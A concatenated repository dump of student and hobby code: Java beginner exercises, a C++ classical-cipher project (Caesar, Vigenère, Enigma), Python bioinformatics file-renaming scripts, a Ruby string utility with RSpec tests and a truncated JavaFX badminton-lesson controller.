<file_sep>import java.util.Scanner;
public class EvenPowersOf2_04 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
//повтаряме: печатаме 2 на определената степен
//начало: 0
//край: n
//всеки път го увеличавам с 2
int n = Integer.parseInt(scanner.nextLine());
//System.out.println(Math.pow(10, 5)); десет на пета степен
for (int step = 0; step <= n; step += 2) {
System.out.printf("%.0f%n", Math.pow(2, step));
}
}
}
<file_sep>import java.util.Scanner;
public class EasterParty_02 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int guest = Integer.parseInt(scanner.nextLine());
double pricePerPerson = Double.parseDouble(scanner.nextLine());
double budget = Double.parseDouble(scanner.nextLine());
double cake = budget * 0.10;
double discount = 0.0;
double total = 0.0;
if (guest >= 10 && guest <= 15) {
discount = pricePerPerson * 0.85;
total = guest * discount + cake;
} else if (guest > 15 && guest <= 20) {
discount = pricePerPerson * 0.80;
total = guest * discount + cake;
} else if (guest > 20) {
discount = pricePerPerson * 0.75;
total = guest * discount + cake;
} else {
discount = pricePerPerson * guest;
total = discount + cake;
}
if (total <= budget) {
System.out.printf("It is party time! %.2f leva left.", budget - total);
} else {
System.out.printf("No party! %.2f leva needed.", total - budget);
}
}
}
<file_sep>import java.util.Scanner;
public class ME_Vacation_05 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
double budget = Double.parseDouble(scanner.nextLine());
String season = scanner.nextLine();
double alaska = 0;
double morocco = 0;
if (budget <= 1000) {
if (season.equals("Summer")) {
alaska = budget * 0.65;
System.out.printf("Alaska - Camp - %.2f", alaska);
} else if (season.equals("Winter")) {
morocco = budget * 0.45;
System.out.printf("Morocco - Camp - %.2f", morocco);
}
} else if (budget > 1000 && budget <= 3000) {
if (season.equals("Summer")) {
alaska = budget * 0.80;
System.out.printf("Alaska - Hut - %.2f", alaska);
} else if (season.equals("Winter")) {
morocco = budget * 0.60;
System.out.printf("Morocco - Hut - %.2f", morocco);
}
} else if (budget > 3000) {
if (season.equals("Summer")) {
alaska = budget * 0.90;
System.out.printf("Alaska - Hotel - %.2f", alaska);
} else if (season.equals("Winter")) {
morocco = budget * 0.90;
System.out.printf("Morocco - Hotel - %.2f", morocco);
}
}
}
}
<file_sep>import java.util.Scanner;
public class BarcodeGenerator_06 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int n = Integer.parseInt(scanner.nextLine());
int m = Integer.parseInt(scanner.nextLine());
int firstN = n / 1000;
int secondN = (n / 100) % 10;
int thirdN = (n / 10) % 10;
int fourthN = n % 10;
int firstM = m / 1000;
int secondM = (m / 100) % 10;
int thirdM = (m / 10) % 10;
int fourthM = m % 10;
for (int i = firstN; i <= firstM; i++) {
for (int j = secondN; j <= secondM; j++) {
for (int k = thirdN; k <= thirdM; k++) {
for (int l = fourthN; l <= fourthM; l++) {
if (i % 2 != 0 && j % 2 != 0 && k % 2 != 0 && l % 2 != 0) {
System.out.printf("%d%d%d%d ", i, j, k, l);
}
}
}
}
}
}
}
<file_sep>import java.util.Scanner;
public class GoldMine_06 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int locations = Integer.parseInt(scanner.nextLine());
for (int i = 1; i <= locations; i++) {
int goldPerDay = Integer.parseInt(scanner.nextLine());
int days = Integer.parseInt(scanner.nextLine());
int goldFromMine = 0;
for (int j = 1; j <= days; j++) {
int gold = Integer.parseInt(scanner.nextLine());
goldFromMine += gold;
}
double averageGold = goldFromMine * 1.0 / days;
if (averageGold >= goldPerDay) {
System.out.printf("Good job! Average gold per day: %.2f.%n", averageGold);
} else {
System.out.printf("You need %.2f gold.%n", goldPerDay - averageGold);
}
}
}
}
<file_sep>import java.util.Scanner;
public class Numbers_1_N_with_Step_3_03 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
//повтаряме: печатаме числото
//начало: 1
//край: n
//всеки път увеличавам с 3
int n = Integer.parseInt(scanner.nextLine());
for (int number = 1; number <= n; number += 3) {
System.out.println(number);
}
}
}
<file_sep>import java.util.Scanner;
public class EasterGuests_02 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int guest = Integer.parseInt(scanner.nextLine());
int budget = Integer.parseInt(scanner.nextLine());
double numberKozunak = Math.ceil(guest * 1.0 / 3);
int numberEggs = guest * 2;
double priceKozunak = numberKozunak * 4;
double priceEggs = numberEggs * 0.45;
double total = priceEggs + priceKozunak;
if (total <= budget) {
System.out.printf("Lyubo bought %.0f Easter bread and %d eggs.%n", numberKozunak, numberEggs);
System.out.printf("He has %.2f lv. left.", budget - total);
} else {
System.out.println("Lyubo doesn't have enough money.");
System.out.printf("He needs %.2f lv. more.", total - budget);
}
}
}
<file_sep>import java.util.Scanner;
public class NumberPyramid_01 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int n = Integer.parseInt(scanner.nextLine());
int currentNumber = 0;
for (int rows = 1; rows <= n; rows++) {
for (int cols = 1; cols <= rows; cols++) {
currentNumber++;
if (currentNumber > n) {
break;
}
System.out.print(currentNumber + " ");
}
if (currentNumber > n) {
break;
}
System.out.println();
}
}
}
<file_sep>import java.util.Scanner;
public class SquareArea {
public static void main(String[] args) {
//страната на квадрата --> вход --> променлива
//лицето = страната * страната
//печатаме лицето
Scanner scanner = new Scanner(System.in);
int squareSide = Integer.parseInt(scanner.nextLine());
int squareArea = squareSide * squareSide;
System.out.println(squareArea);
}
}
| 9c4c425d67aa93c10abebf855b1c462bce738071 | [
"Markdown",
"Java"
] | 64 | Java | MarioEmilov/Programming-Basics-with-Java | 1e3e648b808e470d7cbf97f1b3db20b2f3460944 | 9b52f08e8e5f791f48e45788e907366fb45f5215 |
refs/heads/master | <repo_name>Capncavedan/irb-jan-2015<file_sep>/README.md
READ ME
=======
This project is for the presentation at the Iowa Ruby Group Jan 20 2015.
See the code with methods redone using String methods instead of regexes on the `redone-with-string-methods` branch at https://github.com/Capncavedan/irb-jan-2015/tree/redone-with-string-methods
References http://www.ruby-doc.org/core-2.2.0/String.html
Much credit is due to <NAME>
http://graysoftinc.com/early-steps/string-has-other-methods-besides-match-and-sub
and
http://graysoftinc.com/deadly-regular-expressions/regex-code-equivalency
<file_sep>/spec/lib/stringalyzer_spec.rb
require 'stringalyzer'
RSpec.describe Stringalyzer do
describe '#name_prefix?' do
it 'is true for Mr' do
stringalyzer = Stringalyzer.new "Mr <NAME>"
expect(stringalyzer.name_prefix?).to eq true
end
it 'is true for Mrs' do
stringalyzer = Stringalyzer.new "Mrs <NAME>"
expect(stringalyzer.name_prefix?).to eq true
end
it 'is true for Miss' do
stringalyzer = Stringalyzer.new "Miss <NAME>"
expect(stringalyzer.name_prefix?).to eq true
end
it 'is true for Dr' do
stringalyzer = Stringalyzer.new "Dr <NAME>"
expect(stringalyzer.name_prefix?).to eq true
end
it 'is false for a name' do
stringalyzer = Stringalyzer.new "<NAME>"
expect(stringalyzer.name_prefix?).to eq false
end
end
describe "#name_suffix?" do
it 'is true for Jr' do
stringalyzer = Stringalyzer.new "<NAME>r"
expect(stringalyzer.name_suffix?).to eq true
end
it 'is true for Sr' do
stringalyzer = Stringalyzer.new "<NAME> Sr"
expect(stringalyzer.name_suffix?).to eq true
end
it 'is true for III' do
stringalyzer = Stringalyzer.new "<NAME> III"
expect(stringalyzer.name_suffix?).to eq true
end
it 'is true for a name' do
stringalyzer = Stringalyzer.new "<NAME>"
expect(stringalyzer.name_suffix?).to eq false
end
end
describe "#contains?" do
it "is true when it does" do
stringalyzer = Stringalyzer.new "<NAME> loves fishing"
expect(stringalyzer.contains?('fishing')).to eq true
end
it "is false when it does not" do
stringalyzer = Stringalyzer.new "<NAME> loves fishing"
expect(stringalyzer.contains?('soccer')).to eq false
end
end
describe "#case_insensitive_equal?" do
it "is true when they are a match" do
stringalyzer = Stringalyzer.new "iPhone 5c"
expect(stringalyzer.case_insensitive_equal?('IPHONE 5C')).to eq true
end
it "is false when they are not a match" do
stringalyzer = Stringalyzer.new "iPhone 6 Plus"
expect(stringalyzer.case_insensitive_equal?('IPHONE 5C')).to eq false
end
end
describe "#cleanup_whitespace" do
it "removes leading spaces" do
stringalyzer = Stringalyzer.new " AAA Consulting"
expect(stringalyzer.cleanup_whitespace).to eq "AAA Consulting"
end
it "removes trailing spaces" do
stringalyzer = Stringalyzer.new "Zanzibar's Coffee "
expect(stringalyzer.cleanup_whitespace).to eq "Zanzibar's Coffee"
end
it "removes multiple spaces" do
stringalyzer = Stringalyzer.new "Zanzibar's Coffee Adventure"
expect(stringalyzer.cleanup_whitespace).to eq "Zanzibar's Coffee Adventure"
end
end
describe "#all_numeric?" do
it "is true when all digits" do
stringalyzer = Stringalyzer.new "999123456"
expect(stringalyzer.all_numeric?).to eq true
end
it "is false when some non-digits" do
stringalyzer = Stringalyzer.new "At least 999"
expect(stringalyzer.all_numeric?).to eq false
end
end
describe "#no_numerics?" do
it "is true when no digits" do
stringalyzer = Stringalyzer.new "Sally threw the ball"
expect(stringalyzer.no_numerics?).to eq true
end
it "is false when some digits" do
stringalyzer = Stringalyzer.new "Sally threw the ball 5 times"
expect(stringalyzer.no_numerics?).to eq false
end
end
describe "#contains_any_of?" do
it "is true when there is overlap" do
stringalyzer = Stringalyzer.new "Sally threw the ball against the house 5 times"
looking_for = %w(threw ball house)
expect(stringalyzer.contains_any_of?(looking_for)).to eq true
end
it "is false when there is no overlap" do
stringalyzer = Stringalyzer.new "Sally went to the ice cream shop"
looking_for = %w(threw ball house)
expect(stringalyzer.contains_any_of?(looking_for)).to eq false
end
end
end
<file_sep>/lib/stringalyzer.rb
class Stringalyzer
def initialize(string)
@string = string
end
def name_prefix?
!!@string.match(/\A(Mr|Mrs|Miss|Dr)/)
end
def name_suffix?
!!@string.match(/(Jr|Sr|III)\Z/)
end
def contains?(candidate)
!!@string.match(/#{candidate}/)
end
def case_insensitive_equal?(candidate)
!!@string.match(/#{candidate}/i)
end
def cleanup_whitespace
@string.sub(/\A\s+/, "").sub(/\s+\Z/, "").gsub(/\s+/, " ")
end
def all_numeric?
!!@string.match(/\A\d+\Z/)
end
def no_numerics?
!@string.match(/\d+/)
end
def contains_any_of?(candidates)
!!@string.match(/\b#{candidates.join('\b|\b')}\b/)
end
end
| 0a31ba8a98d7f0fb18b56fc57c676ff292bcba11 | [
"Markdown",
"Ruby"
] | 3 | Markdown | Capncavedan/irb-jan-2015 | 70f9810d21a35e6e18dd92fae6b60826419ce1df | 07a67b8cbc8f60e4065aa21cb786044bad6cd699 |
refs/heads/master | <repo_name>omegadan01/walnut_wolbachia<file_sep>/demultiplex/rename_fastq_filenames.py
#!/bin/python
import csv
import re
import os
import shutil
dat = "rename_barcode_first_plate.csv"
current_folder = os.getcwd() # get working dir
print os.listdir(current_folder) # list folder contents
# make a dict for match
with open(dat, mode='r') as infile:
reader = csv.reader(infile)
match = {rows[0]:rows[1] for rows in reader}
# function to find and replace whole sample names
def replace_all(text, dic):
for i, j in dic.items():
text = re.sub(r"\b%s\b"%i, j, text)
# r"\b%s\b"% enables replacing by whole word matches only
return text
search_text = r'^foo_([0-9A-Z]+).bam'
ext = (".bam")
# loop through only bam files
for file in os.listdir(current_folder):
if file.endswith(ext):
print "orig file = " + file
old_name = re.sub(search_text, r'\1', file)
print "old name = " + old_name
new_name = replace_all(old_name, match)
print "new name = " + new_name
old_path = os.path.join(current_folder, file)
new_path = os.path.join(current_folder, "replace", new_name + ".mmg12.dd.map.bam")
print old_path
print new_path
shutil.move(old_path, new_path)
print "mooved good yea"
else:
continue
print "wow you changed the names of this disaster"
<file_sep>/demultiplex/barcodes/MMG34_barcode_fasta.py
#!/bin/python
import sys
import csv
import re
import pandas as pd
# import csv
# select plates (filter out other plates)
# create fasta file for ecoR1 - read1 barcode
# create fata file for MSEI - read2 barcode
# enter params
# 1 = csv file with old barcode name in col 1 and new name in col2
# 2 tab delimited barcode file with ID and barcode columns. ID must match that of above csv
# data = sys.argv[1]
data = "rename_files_firstRun.csv"
# barcode_txt = sys.argv[2]
## barcode_txt = pd.read_csv("barcodes.fixed.txt", sep='\t')
# barcode_txt = barcode_txt.reset_index()
# open out files
fasta_barcode = open("barcode1_R1.fasta", "w")
########### fix barcode file ugh
oldbarcode = open("barcodes.MMG.3.4.txt", "r")
outfile = open("fixed_barcode_MMG34.txt", "w")
search_text = r'(^@[0-9]+_)'
outfile.write("barcode" + "\t" +"ID" + "\n")
for line in oldbarcode:
line = line.strip()
line = re.sub(search_text, "@", line)
line = re.sub(r'(mmg.)', "", line)
line = re.sub(r'(HS[.]*)', "HS", line)
line = re.sub(r'(HS[0-9]+)([.]*)', r'\1', line)
line = re.sub(r'(SPE[.]+)', "SPE", line)
outfile.write(line + "\n")
outfile.close()
oldbarcode.close()
print ("finished fixing barcode names!")
barcode_txt = pd.read_csv("fixed_barcode_MMG34.txt", sep='\t')
print barcode_txt
# open out fasta file
fasta_barcode = open("barcode1_R1.fasta", "w")
with open(data, mode='r') as infile:
reader = csv.reader(infile)
match = {rows[0]:rows[1] for rows in reader}
# function to find and replace whole sample names
def replace_all(text, dic):
for i, j in dic.items():
text = re.sub(r"\b%s\b"%i, j, text)
# r"\b%s\b"% enables replacing by whole word matches only
return text
for index, row in barcode_txt.iterrows():
rep = replace_all(row['ID'], match)
barcode_txt.at[index, 'New_ID'] = rep
print "loop over"
print barcode_txt
for index, row in barcode_txt.iterrows():
fasta_barcode.write(">" + row['New_ID'] + "\n" + row['barcode'] + "\n")
fasta_barcode.close()
<file_sep>/demultiplex/barcodes/MMG12_barcode_fasta.py
#!/bin/python
import sys
import csv
import re
import pandas as pd
# import csv
# select plates (filter out other plates)
# create fasta file for ecoR1 - read1 barcode
# create fata file for MSEI - read2 barcode
# enter params
# 1 = csv file with old barcode name in col 1 and new name in col2
# 2 tab delimited barcode file with ID and barcode columns. ID must match that of above csv
# data = sys.argv[1]
data = "rename_files_firstRun.csv"
# barcode_txt = sys.argv[2]
barcode_txt = pd.read_csv("barcodes.MMG.1.2.fixed.txt", sep='\t')
# barcode_txt = barcode_txt.reset_index()
# open out files
fasta_barcode = open("barcode1_R1.fasta", "w")
with open(data, mode='r') as infile:
reader = csv.reader(infile)
match = {rows[0]:rows[1] for rows in reader}
# function to find and replace whole sample names
def replace_all(text, dic):
for i, j in dic.items():
text = re.sub(r"\b%s\b"%i, j, text)
# r"\b%s\b"% enables replacing by whole word matches only
return text
for index, row in barcode_txt.iterrows():
rep = replace_all(row['ID'], match)
barcode_txt.at[index, 'New_ID'] = rep
print "loop over"
print barcode_txt
for index, row in barcode_txt.iterrows():
fasta_barcode.write(">" + row['New_ID'] + "\n" + row['barcode'] + "\n")
fasta_barcode.close()<file_sep>/demultiplex/demult.py
#!/bin/python
# create folders named after all unique sequence names
# move all matching fastq reads into appropriate folders
import re
import sys
###
fastq_file = sys.argv[1]
fastq_RegEx = re.compile("fq")
fastq_file_fix = re.sub(fastq_RegEx, "fixed.fq", fastq_file)
fastq = open(fastq_file, "r")
outfile = open(fastq_file_fix, "w")
search_text = r'(^@[0-9]+_)'
for line in fastq:
line = line.strip()
if "@" in line:
line = re.sub(search_text, "@", line)
line = re.sub(r'(mmg.)', "", line)
line = re.sub(r'(HS[.]*)', "HS", line)
line = re.sub(r'(HS[0-9]+)([.]*)', r'\1', line)
line = re.sub(r'(SPE[.]+)', "SPE", line)
outfile.write(line + "\n")
else:
outfile.write(line + "\n")
outfile.close()
fastq.close()
print ("finished fixing read names!") | 15e0f23e4648b71de369dd3a73c1e0c518159c14 | [
"Python"
] | 4 | Python | omegadan01/walnut_wolbachia | a1776a49a3201b39a9281490eb9728a65b6f820c | e46ac913be0d6bb929ff7c83afe2c4a9c45f9950 |
refs/heads/master | <file_sep>/**
* Fichier: caesar.h
* Auteur: <NAME> (<EMAIL>)
* Date: Janvier 2020
* Cours: TP3 C++
* Résumé: Déclaration de la classe Caesar
*/
#ifndef CAESAR_H
#define CAESAR_H
#include "encrypt.h"
#include <string>
using namespace std;
class Caesar: public Encrypt{
public:
Caesar();
Caesar(string message);
string encode(int decal);
string decode(int decal);
};
#endif<file_sep>/**
* Fichier: encrypt.h
* Auteur: <NAME> (<EMAIL>)
* Date: Janvier 2020
* Cours: TP3 C++
* Résumé: Déclaration de la classe Encrypt
*/
#ifndef ENCRYPT_H
#define ENCRYPT_H
#include <string>
using namespace std;
class Encrypt {
public:
Encrypt();
Encrypt(string plain);
string getPlain();
string getCipher();
void setPlain(string plain);
void setCipher(string cipher);
bool read(bool isPlain, string filename);
bool write(bool isPlain, string filename);
string encode();
string decode();
protected:
string m_plain;
string m_cipher;
};
#endif<file_sep>/**
* Fichier: caesar2.h
* Auteur: <NAME> (<EMAIL>)
* Date: Janvier 2020
* Cours: TP3 C++
* Résumé: Déclaration de la classe Caesar2
*/
#ifndef CAESAR2_H
#define CAESAR2_H
#include "encrypt.h"
#include <string>
using namespace std;
class Caesar2 : public Encrypt {
public:
Caesar2();
Caesar2(string message);
string encode(int decal);
string decode(int decal);
};
#endif<file_sep>/**
* Fichier: encrypt.cpp
* Auteur: <NAME> (<EMAIL>)
* Date: Janvier 2020
* Cours: TP3 C++
* Résumé: Définition de la classe Encrypt
*/
#include "encrypt.h"
#include <fstream>
#include <iostream>
using namespace std;
Encrypt::Encrypt(){
}
Encrypt::Encrypt(string plain){
m_plain = plain;
}
string Encrypt::getPlain(){
return m_plain;
}
string Encrypt::getCipher(){
return m_cipher;
}
void Encrypt::setPlain(string plain){
m_plain=plain;
}
void Encrypt::setCipher(string cipher){
m_cipher=cipher;
}
bool Encrypt::read(bool isPlain, string filename){
ifstream flux(filename);
if(flux){
string message;
while (getline(flux, message)){
cout << "Contenu du fichier : " << message << endl;
if(isPlain==true){
m_plain = message;
}
else{
m_cipher = message;
}
}
}
else {
cout << "Erreur : le fichier ne peut pas être ouvert." << endl;
return false;
}
return true;
}
bool Encrypt::write(bool isPlain, string filename){
ofstream flux(filename);
if(flux){
if(isPlain==true){
flux << m_plain;
}
else{
flux << m_cipher;
}
}
else {
cout << "Erreur : le fichier ne peut pas être ouvert." << endl;
return false ;
}
return true;
}
string Encrypt::encode(){
m_cipher=m_plain;
return m_cipher;
}
string Encrypt::decode(){
m_plain=m_cipher;
return m_plain;
}
<file_sep>#include "enigma.h"
#include <iostream>
Enigma::Enigma(string cleEnigma1, int posKey1, string cleEnigma2, int posKey2) : Encrypt() {
this->m_key1 = cleEnigma1;
this->m_key2 = cleEnigma2;
this->m_posKey1 = posKey1;
this->m_posKey2 = posKey2;
// On rétablit les positions si la valeur est supérieur à la taille de l'alhapabet.
if (this->m_posKey1 < 0) {
this->m_posKey1 = 26 - (-this->m_posKey1 % 26);
}
else {
this->m_posKey1 %= 26;
}
if (this->m_posKey2 < 0) {
this->m_posKey2 = 26 - (-this->m_posKey2 % 26);
}
else {
this->m_posKey2 %= 26;
}
}
string Enigma::encode() {
int charPlain = 0;
int charCipher = 0;
this->m_cipher = "";
int size = 0;
for (int j = 0; j <= (int)this->m_plain.size()-1; j++) {
if ((this->m_plain.at(j) >= 'A') && (this->m_plain.at(j) <= 'Z')) {
size++;
charPlain = (int)this->m_plain.at(j) - 65;
charCipher = this->m_key1.at((charPlain + this->m_posKey1) % 26);
charPlain = charCipher - 65;
charCipher = this->m_key2.at((charPlain + this->m_posKey2) % 26);
if (this->m_posKey1 == 25) {
this->m_posKey1 = 1;
}
else {
this->m_posKey1++;
}
if ((size % 26 == 0) && (size != 0)) {
if (this->m_posKey2 == 25) {
this->m_posKey2 = 1;
}
else {
this->m_posKey2++;
}
}
this->m_cipher += (char)charCipher;
}
else {
this->m_cipher += this->m_plain.at(j);
}
}
return this->m_cipher;
}
string Enigma::decode() {
int charPlain = 0;
int charCipher = 0;
this->m_plain = "";
int size = 0;
for (int i = 0; i < this->m_cipher.size(); i++) {
if ((this->m_cipher.at(i) >= 'A') && (this->m_cipher.at(i) <= 'Z')) {
size++;
charCipher = (int)this->m_cipher.at(i) - 65;
charPlain = this->m_key2.find((char)charCipher + 65);
charCipher = (charPlain - this->m_posKey2 + 26) % 26 + 65;
charPlain = (this->m_key1.find((char)charCipher) - this->m_posKey1 + 26) % 26 + 65;
if ((size % 26 == 0) && (size != 0)) {
if (this->m_posKey2 == 25) {
this->m_posKey2 = 1;
}
else {
this->m_posKey2++;
}
}
if (this->m_posKey1 == 25) {
this->m_posKey1 = 1;
}
else {
this->m_posKey1++;
}
this->m_plain += (char)charPlain;
}
else {
this->m_plain += this->m_cipher.at(i);
}
}
return this->m_plain;
}<file_sep>/**
* Fichier: main.cpp
* Auteur: <NAME> (<EMAIL>)
* Date: Janvier 2020
* Cours: TP3 C++
* Résumé: Fichier utilisé pour les tests des différentes classes
*/
#include "encrypt.h"
#include "caesar.h"
#include "caesar2.h"
#include "vigenere.h"
#include "enigma.h"
#include <iostream>
#include <string>
#include <vector>
using namespace std;
int main(){
// Test de la classe Encrypt
string test="Bonjour";
Encrypt message(test);
message.write(true, "fichier");
// Test de la classe Caesar
string messageCesar="alea jacta est";
Caesar Cesar(messageCesar);
Cesar.write(true, "MessageDeCesar");
string code = Cesar.encode(3);
cout << "Message codé (Caesar) : " << code << "\n";
Caesar Cesar2("");
Cesar2.read(false, "MessageDeCesarCode");
string decode = Cesar2.decode(3);
cout << "Message décodé (Caesar) : " << decode << "\n";
// Test de la classe Caesar2
string sanglots="Les sanglots longs Des violons De l'automne Blessent mon coeur D'une langueur Monotone.";
Caesar2 Poeme(sanglots);
Poeme.write(true, "Poeme");
code = Poeme.encode(3);
cout << "Message codé (Caesar2) : "<< code << "\n";
Caesar2 Poeme2("");
Poeme2.read(false, "PoemeCode");
decode = Poeme2.decode(3);
cout << "Message décodé (Caesar2) : "<<decode<<"\n";
// Test de la classe Vigenere
Vigenere Vig("TEST");
Vig.setPlain("ETRE OU NE PAS ETRE TELLE EST LA QUESTION");
code = Vig.encode();
cout << "\nMessage codé (Vigenere) : "<<code;
Vigenere Vig2("TEST");
Vig2.setCipher("XXJX SM GI ITW XMVW MIDEX WLM DT UMXLXAHG");
decode = Vig2.decode();
//cout << "\nMessage décodé (Vigenere) : "<<decode; // DÉCODAGE VALABLE POUR LA MOITIÉ DES CARACTÈRES ??
// À CORRIGER !!!
// Test de la classe Enigma
Enigma Enigm("ABCDEFGHIJKLMNOPQRSTUVWXYZ", 120, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", 120);
Enigm.setPlain("TEST");
cout<<"\nMessage à coder : "<<Enigm.getPlain();
code= Enigm.encode();
cout<<"\nMessage codé (Enigma) : "<<code;
Enigm.setCipher("ZLAC");
decode= Enigm.decode();
cout<<"\nMessage décodé (Enigma) : "<<decode; // DÉCODAGE NON FONCTIONNEL ?
// À CORRIGER
return 0;
}<file_sep>/**
* Fichier: vigenere.h
* Auteur: <NAME> (<EMAIL>)
* Date: Janvier 2020
* Cours: TP3 C++
* Résumé: Déclaration de la classe Vigenere
*/
#include "vigenere.h"
#include <iostream>
using namespace std;
Vigenere::Vigenere() : Encrypt() {
this->m_key = "";
}
Vigenere::Vigenere(string key) : Encrypt() {
this->m_key = key;
}
string Vigenere::encode() {
int car=0, decal;
this->m_cipher = "";
for (int i = 0; i < this->m_plain.size(); i++) {
if ((this->m_plain.at(i) >= 'A') && (this->m_plain.at(i) <= 'Z')) {
decal = (int)(this->m_key.at(i % this->m_key.size()))-65;
car= ((int)(this->m_plain.at(i)) - 65 + decal) % 26 + 65;
this->m_cipher += (char)car;
}
else {
this->m_cipher += this->m_plain.at(i);
}
}
return this->m_cipher;
}
string Vigenere::decode() {
int car = 0, decal;
this->m_plain = "";
for (int i = 0; i < this->m_cipher.size(); i++) {
if ((this->m_cipher.at(i) >= 'A') && (this->m_cipher.at(i) <= 'Z')) {
decal = (int)(this->m_key.at(i % this->m_key.size())) - 65;
car = ((int)this->m_cipher.at(i) - 65 - decal) % 26 + 65;
this->m_plain += (char)car;
}
else {
this->m_plain += this->m_cipher.at(i);
}
}
return this->m_plain;
}<file_sep>/**
* Fichier: vigenere.h
* Auteur: <NAME> (<EMAIL>)
* Date: Janvier 2020
* Cours: TP3 C++
* Résumé: Déclaration de la classe Vigenere
*/
#ifndef VIGENERE_H
#define VIGENERE_H
#include "encrypt.h"
#include <string>
using namespace std;
class Vigenere : public Encrypt {
private:
string m_key;
public:
Vigenere();
Vigenere(string key);
string encode();
string decode();
};
#endif
<file_sep>/**
* Fichier: caesar2.cpp
* Auteur: <NAME> (<EMAIL>)
* Date: Janvier 2020
* Cours: TP3 C++
* Résumé: Définition de la classe Caesar2
*/
#include "caesar2.h"
Caesar2::Caesar2() : Encrypt() {
}
Caesar2::Caesar2(string message) : Encrypt(message) {
}
string Caesar2::encode(int decal) {
int car = 0;
this->m_cipher = "";
for (int i = 0; i < this->m_plain.size(); i++) {
car = (int)this->m_plain.at(i);
if ((car>31) && (car<127)) {
car = (car-32+decal)%95+32;
}
this->m_cipher += (char)car;
}
return this->m_cipher;
}
string Caesar2::decode(int decal) {
int car = 0;
this->m_plain = "";
for (int i = 0; i < this->m_cipher.size(); i++) {
car = (int)this->m_cipher.at(i);
if ((car>31) && (car<127)) {
car = (car-32-decal+95)%95+32;
}
this->m_plain += (char)car;
}
return this->m_plain;
}<file_sep>/**
* Fichier: caesar.cpp
* Auteur: <NAME> (<EMAIL>)
* Date: Janvier 2020
* Cours: TP3 C++
* Résumé: Définition de la classe Caesar
*/
#include "caesar.h"
#include <iostream>
Caesar::Caesar() : Encrypt(){
}
Caesar::Caesar(string message) : Encrypt(message){
}
string Caesar::encode(int decal){
int car=0;
this->m_cipher="";
for(int i=0; i<this->m_plain.size(); i++){
car= (int)this->m_plain.at(i);
if((car>96)&&(car<123)){
car=(car-97+decal)%26 + 97;
}
this->m_cipher += (char)car;
}
return this->m_cipher;
}
string Caesar::decode(int decal){
int car=0;
this->m_plain="";
cout<<"ici"<<m_cipher;
for(int i=0; i<this->m_cipher.size(); i++){
car=(int)this->m_cipher.at(i);
if((car>96)&&(car<123)){
car=(car-97-decal)%26 + 97;
}
this->m_plain += (char)car;
}
return this->m_plain;
}<file_sep>#ifndef ENIGMA_H
#define ENIGMA_H
#include "encrypt.h"
class Enigma : public Encrypt {
private:
string m_key1;
string m_key2;
int m_posKey1;
int m_posKey2;
public:
Enigma();
Enigma(string key1, int posKey1);
Enigma(string key1, int posKey1, string key2, int posKey2);
public:
string encode();
string decode();
};
#endif | 391f11e783a4aa62e9df474360f06b72d3ae7de7 | [
"C++"
] | 11 | C++ | cblard/itc313-TP3 | 41a0e8c8726d69b223f4f297d9a50d2cff1f9374 | aa4850a1ac3be9706e2c26314ef9576f7535094b |
refs/heads/master | <file_sep>package controller;
import java.net.URL;
import java.util.ResourceBundle;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.fxml.Initializable;
import javafx.scene.control.Alert;
import javafx.scene.control.Alert.AlertType;
import javafx.scene.control.Button;
public class LowTabController implements Initializable {
@FXML
private Button btnday1;
@FXML
private Button btnday2;
@FXML
private Button btnday3;
@FXML
private Button btnday4;
@FXML
private Button btnday5;
@FXML
private Button btnday6;
@FXML
private Button btnday7;
@FXML
private Button btnday8;
@FXML
private Button btnday9;
@FXML
private Button btnday10;
@FXML
private Button btnday11;
@FXML
private Button btnday12;
@FXML
private Button btnday13;
@FXML
private Button btnday14;
@FXML
private Button btnday15;
@FXML
private Button btnday16;
@Override
public void initialize(URL arg0, ResourceBundle arg1) {
//버튼 1~16개 이벤트 설정
btnday1.setOnAction(event->handlerbtnday1Action(event));
btnday2.setOnAction(event->handlerbtnday2Action(event));
btnday3.setOnAction(event->handlerbtnday3Action(event));
btnday4.setOnAction(event->handlerbtnday4Action(event));
btnday5.setOnAction(event->handlerbtnday5Action(event));
btnday6.setOnAction(event->handlerbtnday6Action(event));
btnday7.setOnAction(event->handlerbtnday7Action(event));
btnday8.setOnAction(event->handlerbtnday8Action(event));
btnday9.setOnAction(event->handlerbtnday9Action(event));
btnday10.setOnAction(event->handlerbtnday10Action(event));
btnday11.setOnAction(event->handlerbtnday11Action(event));
btnday12.setOnAction(event->handlerbtnday12Action(event));
btnday13.setOnAction(event->handlerbtnday13Action(event));
btnday14.setOnAction(event->handlerbtnday14Action(event));
btnday15.setOnAction(event->handlerbtnday15Action(event));
btnday16.setOnAction(event->handlerbtnday16Action(event));
}
//버튼 이벤트 활성화 1회차~16회차
public void handlerbtnday16Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 16회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("반코트로 배웠던 기술들 응용");
alert.showAndWait();
}
public void handlerbtnday15Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 15회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("강사가 학생들의 자세 와 기술들을 수정해줌");
alert.showAndWait();
}
public void handlerbtnday14Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 14회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("풋워크와 하이클리어 연결해서 응용하기");
alert.showAndWait();
}
public void handlerbtnday13Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 13회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("높이에 따라서 스윙하는법 배우기");
alert.showAndWait();
}
public void handlerbtnday12Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 12회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("하이클리어 스윙동작 배우기");
alert.showAndWait();
}
public void handlerbtnday11Action(ActionEvent event) {
